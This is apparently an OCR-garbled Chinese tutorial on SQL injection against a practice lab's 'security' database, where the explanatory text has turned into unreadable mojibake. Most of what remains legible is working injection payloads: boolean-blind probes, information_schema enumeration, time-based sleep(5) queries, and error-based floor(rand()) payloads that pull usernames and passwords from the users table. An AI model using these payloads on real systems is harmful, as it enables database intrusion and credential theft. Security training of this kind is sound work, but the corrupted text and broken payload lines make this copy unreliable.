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payload id=1" {RfE F7RsqiBiAfEIR
FTLAFIBr S EnEN KRB 9/ RENEN
FiEAN

payload1: and 1=1

payload2: and 1=2
payload1#payload 2TUEMASEIE —E FTARNFESFEIEN

Welcome

You are in

m/REEE
SiFERANE

payload id=1" order by 4--+ JR[EIFIAFE

payload id=1" order by 3--+ iR[Elyou are in
FTLAZER1M5093
EiSRFEENERKE

?id=1" and length(database())>10 --+
BHEZKERN: 8
BigIEREER

?id=1" and left(database(),1)="s'--+ //s{ERTLAFEbuUrpRiEHD

Ej|Zd%:1 and ascii(left(database(),1))<200--+ //<20085]LAZsH =97 EHaEEREEAME

Eﬁﬁ1 and substr(database(),1,1)="s'--+ //s{ERTLAFburpXiEH

Ej|Zd‘4:£|;1 and ascii(substr(database(),1,1))<200--+ //<2008] A3 =97 ki E N2 ME
Ej|Zd%:1 and ascii(substr((select schema _name from information_schema.schemata limit 1,1),1,1)
>100--+//limit O, 1EEETREE FE— 1 E WRERE _NEESlimit 1,1

RSBHIERIERE/I: security
EIEENFEE
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FEEA security $EE& security 17161 HIEE R L5588 0x7365637572697479
Bifjsecurity B—IKRABE—DFHF

?id=1" and ascii(substr((select table_name from information_schema.tables where table sche
a=0x7365637572697479 limit O, 1),1,1))>80——+

/BN R REBERMsubstr('xxx',2,1)B0H],
/B ANFRBBlimit 1,1

SRRRAIFE5Y
BERHIEKRUsersiBE— MFRIVE—NFH

?id=1" and ascii(substr((select column_name from information_schema.columns where table
ame=0x7573657273 limit 0,1),1,1))>80--+

/BN FRRFER R substr('xxx',2,1)B0H],
/B AN FERHURKlimIt 1,1

BT

?id=1" and ascii(substr((select username from security.users limit 0,1),1,1))>80--+
ERHENEIS

IR R E IR

?id=1" and if(length(database())>0,sleep(5),1)--+ //ANREGEEE AT FERTS
EiSIEEKE

?id=1" and if(length(database())=8,sleep(5),1)--
BEiEEER

?id=1" and if(left(database(),1)="s',sleep(5),1)--+

SiEERIER

?id=1" and if( Ieft((select table_name from information_schema.tables where table schema=da
abase() limit 1,1),1)="r' sIeep(S) 1)--+

g7l

?id=1" and if(left((select column_name from information_schema.columns where table name=
users' limit 4,1),8)="password' ;sleep(5),1)--+

SiFRE
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?id=1" and if(left((select password from users order by id limit 0,1),4)="dumb’ ,sleep(5),1)--+

{EAconcatRR A HE (WEiF)
SERY: WEEEA
EiHiEERKE

?id=1"union select count(*),1,concat('Ox7e’,(select database()),'0x7e’,floor(rand()*2)) as a from
nformation_schema.tables group by a--+

;E

?id=1"union select count(*),count(*),concat('0Ox7e’,(select database()),'0x7e',floor(rand()*2)) as a
from information_schema.tables group by a--+

SiiERER

?id=1"union select count(*),1,concat('Ox7e’,(select database()),'0x7e',floor(rand()*2)) as a from
nformation_schema.tables group by a--+

&

?id=1"union select count(*),count(*),concat('Ox7e’,(select database()),'0x7e',floor(rand()*2)) as a
from information_schema.tables group by a--+

SRR

?id=1" union select count(*),1, concat('~',(select concat(table name) from information_schema
tables where table_schema=database() limit 0,1),'~",floor(rand()*2)) as a from information_sch
ma.tables group by a--+

// EEE—FK limit 0,1

// BBFrand() BEH0-1 BIEArand(0) fRIEERR

EiEERN5IE

?id=1" union select count(*),1, concat('~',(select column_name from information_schema.col
mns where table name="users' limit 0,1),'~",floor(rand()*2)) as a from information_schema.tab
es group by a--+

ST

?id=1" union select count(*),1, concat('~',(select concat ws('[',password,username) from users |
mit 1,1),'~",floor(rand()*2)) as a from information_schema.tables group by a--+
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